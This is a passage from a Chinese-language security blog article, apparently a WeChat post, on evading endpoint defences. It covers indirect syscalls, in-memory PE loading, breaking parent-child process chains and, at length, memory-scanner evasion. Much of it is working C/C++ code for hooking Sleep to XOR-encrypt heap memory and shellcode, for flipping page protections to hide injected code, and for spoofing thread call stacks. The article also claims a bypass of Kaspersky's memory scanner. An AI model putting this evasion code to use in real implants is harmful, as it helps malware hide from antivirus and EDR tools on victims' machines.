4))[0];</span></span></code></pre></section></li></ul><p cid="n174" mdtype="paragraph"><span md-inline="plain" style=";"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2691891891891892" data-s="300,640" style="" data-type="png" data-w="925" src="https://wechat2rss.xlab.app/img-proxy/?k=632584ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2T7esBWe1vpZuK6oZq4NzXGJTL4264q1ic9W9Ryjj2PoGKVV4hnx3VtrmibVkdXJ2ibvcvHysyU9n3pQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><br/></p><p cid="n176" mdtype="paragraph"><span md-inline="image" data-src="./直接syscall.png" style=";"></span></p><ul class="list-paddingleft-1" cid="n171" mdtype="list" data-mark="*" style="list-style-type: square;"><li style=";"><p cid="n178" mdtype="paragraph"><span md-inline="plain" style=";">Indirect syscall</span></p><p cid="n179" mdtype="paragraph"><span md-inline="plain" style=";">示例代码：</span></p><p cid="n179" mdtype="paragraph"><span md-inline="plain" style=";"></span></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">NtWriteVirtualMemory</span> <span class="code-snippet__string">PROC</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">mov</span> <span class="code-snippet__string">r10, rcx</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">mov</span> <span class="code-snippet__string">eax, wNtWriteVirtualMemory</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">jmp</span> <span class="code-snippet__string">QWORD PTR [sysAddrNtWriteVirtualMemory]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">NtWriteVirtualMemory</span> <span class="code-snippet__string">ENDP</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">UINT_PTR</span> <span class="code-snippet__string">pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, &#34;NtAllocateVirtualMemory&#34;);</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">wNtAllocateVirtualMemory</span> = <span class="code-snippet__string">((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">sysAddrNtAllocateVirtualMemory</span> = <span class="code-snippet__string">pNtAllocateVirtualMemory + 0x12;</span></span></code></pre></section><p cid="n179" mdtype="paragraph"><span md-inline="plain" style=";"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2739273927392739" data-s="300,640" style="" data-type="png" data-w="909" src="https://wechat2rss.xlab.app/img-proxy/?k=9455789b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2T7esBWe1vpZuK6oZq4NzXGsNWONKZOySIt2P7biceRfC2YeliaStPKuacAiapoXUbs5dDrRkibJbSqWw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><br/></p><p><br/></p><p cid="n181" mdtype="paragraph"><br/></p><li style=";"><p cid="n183" mdtype="paragraph"><span md-inline="plain" style=";">PE in Memory：内存加载</span></p></li><ul class="list-paddingleft-1" cid="n184" mdtype="list" data-mark="*" style="list-style-type: square;"><li style=";"><p cid="n186" mdtype="paragraph"><span md-inline="plain" style=";">利用 Inline-Execute-PE  在内存中加载运行PE文件</span></p></li><li style=";"><p cid="n188" mdtype="paragraph"><span md-inline="plain" style=";">利用 BOF.NET 在内存中执行.NET程序集文件</span></p><p cid="n188" mdtype="paragraph"><span md-inline="plain" style=";"></span></p></li></ul><li style=";"><p cid="n190" mdtype="paragraph"><span md-inline="plain" style=";">进程断链：断掉父子进程链</span></p></li><ul class="list-paddingleft-1" cid="n191" mdtype="list" data-mark="*" style="list-style-type: square;"><li style=";"><p cid="n193" mdtype="paragraph"><span md-inline="plain" style=";">利用模拟运行断链</span></p></li><li style=";"><p cid="n195" mdtype="paragraph"><span md-inline="plain" style=";">利用WMIC断链</span></p></li><li style=";"><p cid="n197" mdtype="paragraph"><span md-inline="plain" style=";">利用Com断链</span></p><p cid="n197" mdtype="paragraph"><span md-inline="plain" style=";"></span></p></li></ul></ul><h2 cid="n198" mdtype="heading"><span style="font-size: 24px;">0x03 Memory Scanners Evasion (内存扫描规避)</span></h2><h3 cid="n199" mdtype="heading"><span md-inline="plain" style=";">一、检测机制</span></h3><ul class="list-paddingleft-1" cid="n200" mdtype="list" data-mark="-" style=";"><li style=";"><p cid="n202" mdtype="paragraph"><span md-inline="plain" style=";">内存扫描：扫描内存查找注入的恶意代码，并检测进程内存空间中的可疑API调用</span></p></li><li style=";"><p cid="n204" mdtype="paragraph"><span md-inline="plain" style=";">检测项：进程信息、shellcode特征、堆栈、内存映像</span></p></li></ul><p cid="n204" mdtype="paragraph"><br/></p><h3 cid="n205" mdtype="heading"><span md-inline="plain" style=";">二、规避技巧</span></h3><ul class="list-paddingleft-1" cid="n206" mdtype="list" data-mark="*" style=";"><li style=";"><p cid="n208" mdtype="paragraph"><span md-inline="plain" style=";">睡眠混淆：hook sleep函数，实现内存加密和解密</span></p></li><p cid="n211" mdtype="paragraph"><span md-inline="plain" style=";">Heap  Encryption</span></p><p cid="n212" mdtype="paragraph"><span md-inline="plain" style=";">通过Hook Sleep函数，睡眠期间加密堆内存规避内存扫描：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">void</span> WINAPI <span class="code-snippet__title">HookedSleep</span>(<span class="code-snippet__params">DWORD dwMiliseconds</span>)</span> {</span></code><code><span class="code-snippet_outer">        DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());</span></code><code><span class="code-snippet_outer">        HeapEncryptDecrypt();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        OldSleep(dwMiliseconds);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        HeapEncryptDecrypt();</span></code><code><span class="code-snippet_outer">        DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p cid="n212" mdtype="paragraph"><span md-inline="plain" style=";"></span></p><pre spellcheck="false" lang="c++" cid="n213" mdtype="fences"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">关键部分代码，加密堆内存：</span><br/></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">static</span> PROCESS_HEAP_ENTRY entry;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function">VOID <span class="code-snippet__title">HeapEncryptDecrypt</span>(<span class="code-snippet__params"></span>)</span> {</span></code><code><span class="code-snippet_outer">    SecureZeroMemory(&amp;entry, <span class="code-snippet__keyword">sizeof</span>(entry));</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">while</span> (HeapWalk(currentHeap, &amp;entry)) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> ((entry.wFlags &amp; PROCESS_HEAP_ENTRY_BUSY) != <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">            XORFunction(key, keySize, (<span class="code-snippet__keyword">char</span>*)(entry.lpData), entry.cbData);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p cid="n217" mdtype="paragraph"><br/></p><ul class="list-paddingleft-1" style="list-style-type: square;"><li><p cid="n217" mdtype="paragraph"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">ShellcodeFluctuation</span><br/></p></li></ul><ol class="list-paddingleft-1" start="" cid="n218" mdtype="list" style=";"><li style=";"><p cid="n220" mdtype="paragraph"><span md-inline="plain" style=";">Hook Sleep 函数</span></p></li><li style=";"><p cid="n222" mdtype="paragraph"><span md-inline="plain" style=";">定位内存中的shellcode</span></p></li><li style=";"><p cid="n224" mdtype="paragraph"><span md-inline="plain" style=";">睡眠期间翻转为RW</span></p></li><li style=";"><p cid="n226" mdtype="paragraph"><span md-inline="plain" style=";">睡眠结束翻转为RX</span></p></li><li style=";"><p cid="n228" mdtype="paragraph"><span md-inline="plain" style=";">无限循环，以此规避内存扫描</span></p></li></ol><p cid="n229" mdtype="paragraph"><span md-inline="plain" style=";">关键部分代码：</span></p><p cid="n217" mdtype="paragraph"><span md-inline="plain" style=";"><br/></span></p><p cid="n230" mdtype="paragraph"><span md-inline="plain" style=";">XOR加密：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">xor32</span><span class="code-snippet__params">(<span class="code-snippet__keyword">uint8_t</span>* buf, <span class="code-snippet__keyword">size_t</span> bufSize, <span class="code-snippet__keyword">uint32_t</span> xorKey)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">uint32_t</span>* buf32 = <span class="code-snippet__keyword">reinterpret_cast</span>&lt;<span class="code-snippet__keyword">uint32_t</span>*&gt;(buf);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">auto</span> bufSizeRounded = (bufSize - (bufSize % <span class="code-snippet__keyword">sizeof</span>(<span class="code-snippet__keyword">uint32_t</span>))) / <span class="code-snippet__number">4</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">size_t</span> i = <span class="code-snippet__number">0</span>; i &lt; bufSizeRounded; i++)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        buf32[i] ^= xorKey;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">size_t</span> i = <span class="code-snippet__number">4</span> * bufSizeRounded; i &lt; bufSize; i++)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        buf[i] ^= <span class="code-snippet__keyword">static_cast</span>&lt;<span class="code-snippet__keyword">uint8_t</span>&gt;(xorKey &amp; <span class="code-snippet__number">0xff</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p cid="n230" mdtype="paragraph"><span md-inline="plain" style=";"></span></p><pre spellcheck="false" lang="c++" cid="n231" mdtype="fences"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">定位内存中的shellcode地址：</span><br/></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">bool</span> <span class="code-snippet__title">isShellcodeThread</span>(<span class="code-snippet__params">LPVOID address</span>)</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    MEMORY_BASIC_INFORMATION mbi = { <span class="code-snippet__number">0</span> };</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (VirtualQuery(address, &amp;mbi, <span class="code-snippet__keyword">sizeof</span>(mbi)))</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// To verify whether address belongs to the shellcode&#39;s allocation, we can simply</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// query for its type. MEM_PRIVATE is an indicator of dynamic allocations such as VirtualAlloc.</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (mbi.Type == MEM_PRIVATE)</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">const</span> DWORD expectedProtection = (g_fluctuate == FluctuateToRW) ? PAGE_READWRITE : PAGE_NOACCESS;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> ((mbi.Protect &amp; PAGE_EXECUTE_READ) </span></code><code><span class="code-snippet_outer">                || (mbi.Protect &amp; PAGE_EXECUTE_READWRITE)</span></code><code><span class="code-snippet_outer">                || (mbi.Protect &amp; expectedProtection));</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p cid="n232" mdtype="paragraph"><span md-inline="plain" style=";"><br/></span></p><pre spellcheck="false" lang="c++" cid="n233" mdtype="fences"><span md-inline="plain" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">加密和解密shellcode：</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span><br/></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">shellcodeEncryptDecrypt</span><span class="code-snippet__params">(LPVOID callerAddress)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> ((g_fluctuate != NoFluctuation) &amp;&amp; g_fluctuationData.shellcodeAddr != <span class="code-snippet__literal">nullptr</span> &amp;&amp; g_fluctuationData.shellcodeSize &gt; <span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (!isShellcodeThread(callerAddress))</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        DWORD oldProt = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (!g_fluctuationData.currentlyEncrypted </span></code><code><span class="code-snippet_outer">            || (g_fluctuationData.currentlyEncrypted &amp;&amp; g_fluctuate == FluctuateToNA))</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            ::VirtualProtect(</span></code><code><span class="code-snippet_outer">                g_fluctuationData.shellcodeAddr,</span></code><code><span class="code-snippet_outer">                g_fluctuationData.shellcodeSize,</span></code><code><span class="code-snippet_outer">                PAGE_READWRITE,</span></code><code><span class="code-snippet_outer">                &amp;g_fluctuationData.protect</span></code><code><span class="code-snippet_outer">            );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__built_in">log</span>(<span class="code-snippet__string">&#34;[&gt;] Flipped to RW.&#34;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">log</span>((g_fluctuationData.currentlyEncrypted) ? <span class="code-snippet__string">&#34;[&lt;] Decoding...&#34;</span> : <span class="code-snippet__string">&#34;[&gt;] Encoding...&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        xor32(</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">reinterpret_cast</span>&lt;<span class="code-snippet__keyword">uint8_t</span>*&gt;(g_fluctuationData.shellcodeAddr),</span></code><code><span class="code-snippet_outer">            g_fluctuationData.shellcodeSize,</span></code><code><span class="code-snippet_outer">            g_fluctuationData.encodeKey</span></code><code><span class="code-snippet_outer">        );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (!g_fluctuationData.currentlyEncrypted &amp;&amp; g_fluctuate == FluctuateToNA)</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// Here we&#39;re utilising ORCA666&#39;s idea to mark the shellcode as PAGE_NOACCESS instead of PAGE_READWRITE</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// and our previously set up vectored exception handler should catch invalid memory access, flip back memory</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// protections and resume the execution.</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// </span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// Be sure to check out ORCA666&#39;s original implementation here:</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//      <a href="https://github.com/ORCA666/0x41/blob/main/0x41/HookingLoader.hpp#L285" target="_blank">https://github.com/ORCA666/0x41/blob/main/0x41/HookingLoader.hpp#L285</a></span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            ::VirtualProtect(</span></code><code><span class="code-snippet_outer">                g_fluctuationData.shellcodeAddr,</span></code><code><span class="code-snippet_outer">                g_fluctuationData.shellcodeSize,</span></code><code><span class="code-snippet_outer">                PAGE_NOACCESS,</span></code><code><span class="code-snippet_outer">                &amp;oldProt</span></code><code><span class="code-snippet_outer">            );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__built_in">log</span>(<span class="code-snippet__string">&#34;[&gt;] Flipped to No Access.\n&#34;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (g_fluctuationData.currentlyEncrypted)</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            ::VirtualProtect(</span></code><code><span class="code-snippet_outer">                g_fluctuationData.shellcodeAddr,</span></code><code><span class="code-snippet_outer">                g_fluctuationData.shellcodeSize,</span></code><code><span class="code-snippet_outer">                g_fluctuationData.protect,</span></code><code><span class="code-snippet_outer">                &amp;oldProt</span></code><code><span class="code-snippet_outer">            );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__built_in">log</span>(<span class="code-snippet__string">&#34;[&lt;] Flipped back to RX/RWX.\n&#34;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        g_fluctuationData.currentlyEncrypted = !g_fluctuationData.currentlyEncrypted;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p cid="n234" mdtype="paragraph"><span md-inline="plain" style=";"></span></p><pre spellcheck="false" lang="c++" cid="n235" mdtype="fences"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">效果：</span><br/></pre><p cid="n236" mdtype="paragraph"><span md-inline="plain" style=";"></span></p><p cid="n236" mdtype="paragraph"><span md-inline="plain" style=";"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.40485312899106" data-s="300,640" style="" data-type="png" data-w="783" src="https://wechat2rss.xlab.app/img-proxy/?k=f5abf5cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2T7esBWe1vpZuK6oZq4NzXG6l96dz1N5JoegJodicUUIqc92ugYBZX54EGH1q55fN9D72IOQ1iaVKEg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><br/></p><p cid="n237" mdtype="paragraph"><span md-inline="image" data-src="./翻转.png" style=";"></span></p><p cid="n238" mdtype="paragraph"><span md-inline="plain" style=";">Bypass Kasperskey Memory Scanner：</span></p><p cid="n238" mdtype="paragraph"><span md-inline="plain" style=";"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5631174533479693" data-s="300,640" style="" data-type="png" data-w="911" src="https://wechat2rss.xlab.app/img-proxy/?k=ea6dd46a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2T7esBWe1vpZuK6oZq4NzXGpDqsKRXIAjtibT3iaA13g7aornCaG1EvJhIoOiaX5mL6rIlLsLGOSnwLg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><br/></p><p cid="n239" mdtype="paragraph"><span md-inline="image" data-src="./Bypass 卡巴.png" style=";"></span></p><ol class="list-paddingleft-1" start="" cid="n218" mdtype="list" style=";"><li style=";"><p cid="n220" mdtype="paragraph"><span md-inline="plain" style=";">Hook Sleep 函数</span></p></li><li style=";"><p cid="n222" mdtype="paragraph"><span md-inline="plain" style=";">定位内存中的shellcode</span></p></li><li style=";"><p cid="n224" mdtype="paragraph"><span md-inline="plain" style=";">睡眠期间翻转为RW</span></p></li><li style=";"><p cid="n226" mdtype="paragraph"><span md-inline="plain" style=";">睡眠结束翻转为RX</span></p></li><li style=";"><p cid="n228" mdtype="paragraph"><span md-inline="plain" style=";">无限循环，以此规避内存扫描</span></p><p cid="n228" mdtype="paragraph"><span md-inline="plain" style=";"></span></p></li></ol><li style=";"><p cid="n241" mdtype="paragraph"><span md-inline="plain" style=";">线程堆栈欺骗：欺骗线程堆栈返回地址</span></p><p cid="n242" mdtype="paragraph"><span md-inline="plain" style=";">默认情况下，线程的返回地址指向我们驻留在内存中的shellcode，通过检查可疑进程中线程的返回地址，可以轻松识别到内存中的shellcode</span></p><p cid="n243" mdtype="paragraph"><br/></p><p cid="n244" mdtype="paragraph"><span md-inline="plain" style=";">最简单的方法，直接用0覆盖返回地址，从而截断堆栈</span></p><p cid="n245" mdtype="paragraph"><span md-inline="plain" style=";">关键代码</span></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">void</span> WINAPI <span class="code-snippet__title">MySleep</span><span class="code-snippet__params">(DWORD _dwMilliseconds)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">const</span> <span class="code-snippet__keyword">register</span> DWORD dwMilliseconds = _dwMilliseconds;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// Perform this (current) thread call stack spoofing.</span></span></code><code><span class="code-snippet_outer">    PULONG_PTR overwrite = (PULONG_PTR)_AddressOfReturnAddress();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">const</span> <span class="code-snippet__keyword">register</span> ULONG_PTR origReturnAddress = *overwrite;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">log</span>(<span class="code-snippet__string">&#34;[&gt;] Original return address: 0x&#34;</span>, <span class="code-snippet__built_in">std</span>::hex, <span class="code-snippet__built_in">std</span>::setw(<span class="code-snippet__number">8</span>), <span class="code-snippet__built_in">std</span>::setfill(<span class="code-snippet__string">&#39;0&#39;</span>), origReturnAddress, <span class="code-snippet__string">&#34;. Finishing call stack...&#34;</span>);</span></code><code><span class="code-snippet_outer">    *overwrite = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">log</span>(<span class="code-snippet__string">&#34;\n===&gt; MySleep(&#34;</span>, <span class="code-snippet__built_in">std</span>::dec, dwMilliseconds, <span class="code-snippet__string">&#34;)\n&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// Perform sleep emulating originally hooked functionality.</span></span></code><code><span class="code-snippet_outer">    ::SleepEx(dwMilliseconds, <span class="code-snippet__literal">false</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// Restore original thread&#39;s call stack.</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">log</span>(<span class="code-snippet__string">&#34;[&lt;] Restoring original return address...&#34;</span>);</span></code><code><span class="code-snippet_outer">    *overwrite = origReturnAddress;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p cid="n247" mdtype="paragraph"><span md-inline="plain" style=";">效果对比：</span></p><p cid="n248" mdtype="paragraph"><span md-inline="tab" style=";">	</span><span md-inline="plain" style=";">默认线程调用堆栈：</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6191335740072202" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=5d9ed50b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2T7esBWe1vpZuK6oZq4NzXGCmtmR6n870JoGPVS7U9SC5sF1KuY82U3KpjibicqpFSRcHoejHCQyOmw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><br/></p><p cid="n249" mdtype="paragraph"><span md-inline="tab" style=";">	</span><span md-inline="image" data-src="./堆栈欺骗1.png" style=";"></span></p><p cid="n250" mdtype="paragraph"><span md-inline="tab" style=";">	</span><span md-inline="plain" style=";">欺骗后的线程调用堆栈：</span></p><p><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6254545454545455" data-s="300,640" style="text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;" data-type="png" data-w="550" 